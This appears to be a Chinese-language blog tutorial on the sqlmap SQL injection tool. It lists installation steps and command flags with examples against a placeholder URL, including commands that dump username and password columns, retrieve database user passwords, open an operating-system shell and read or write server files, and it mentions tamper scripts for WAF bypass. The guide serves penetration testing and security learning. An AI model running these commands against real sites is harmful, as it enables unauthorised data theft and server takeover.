前提条件:需要有sql注入漏洞才能发挥效果
作用:便捷化地执行sql注入操作
sqlmap安装(只支持python2,推荐2.7)
下载地址:https://github.com/sqlmapproject/sqlmap
实际上python是跨平台的语言,python程序在windows和linux上都可以运行,只要系统上安装了python的环境。
启动sqlmap:
python sqlmap.py -xx xxxx
查看sqlmap版本:
python sqlmap.py --version
查看sqlmap帮助文档:
python sqlmap.py -h或-hh
基础参数
- -c从文件中读取配置
- -u表示后面接着的是url参数
举例:判断目标站点是否存在sql注入漏洞
sqlmap.py -u http://www.xx.com/login.php?id=1
sqlmap.py -u "http://www.xx.com/login.php?id=1&uid=2"(多个参数需要加"")
- -r 判断文本中的请求是否存在sql注入
举例:sqlmap.py -r /root/test.txt
- --dbs 查询当前用户下的所有数据库
sqlmap.py -u "http://www.xx.com/login.php?id=1" --dbs
- -D参数表示后面接着数据库
- --tables获取数据库中表的名称
sqlmap.py -u "http://www.xx.com/login.php?id=1" -D mydbname --tables
- -T参数表示后面接着数据表格
- --columns获取表中列的名称
sqlmap.py -u "http://www.xx.com/login.php?id=1" -D mydbname -T mytablename --columns
- -C参数表示后面接着表格中的列
- --dump别是获取列中字段的内容
sqlmap.py -u "http://www.xx.com/login.php?id=1" -D mydbname -T mytablename -C username,password --dump
- --users获取数据库所有用户
sqlmap.py -u "http://www.xx.com/login.php?id=1" --users
- --passwords获取当前数据库用户的密码
sqlmap.py -u "http://www.xx.com/login.php?id=1" --passwords
- --current-db获取当前网站数据库的名称
sqlmap.py -u "http://www.xx.com/login.php?id=1" --current-db
- --current-user获取当前网站数据库名称
sqlmap.py -u "http://www.xx.com/login.php?id=1" --current-user
进阶参数
- --level 1-5:执行探测等级(默认为1,等级5的执行的探测payload模块最多,能探测出的东西也最多)
payload可在xml/payloads.xml看到
一般的get和post的数据会在等级1测试
http cookies 会在等级2测试
http referer头和User-Agent会在等级3测试 - --is-dba:查看当前用户是否为管理权限,返回true或false
- --roles:列出数据库管理员是哪个角色
- --referer:伪造http referer头
- --sql-shell运行自定义sql语句(之后会让你输入sql语句)
- --os-cmd,--os-shell:运行任意操作系统命令(当前用户要有能执行函数的权限,当前用户要有管理员权限)
- --file-read:从数据库服务器中读取文件
- --file-write,--file-dest:上传文件到数据库服务器中
temper详解
temper是一个绕过脚本,用于绕过WAF的检测
网友评论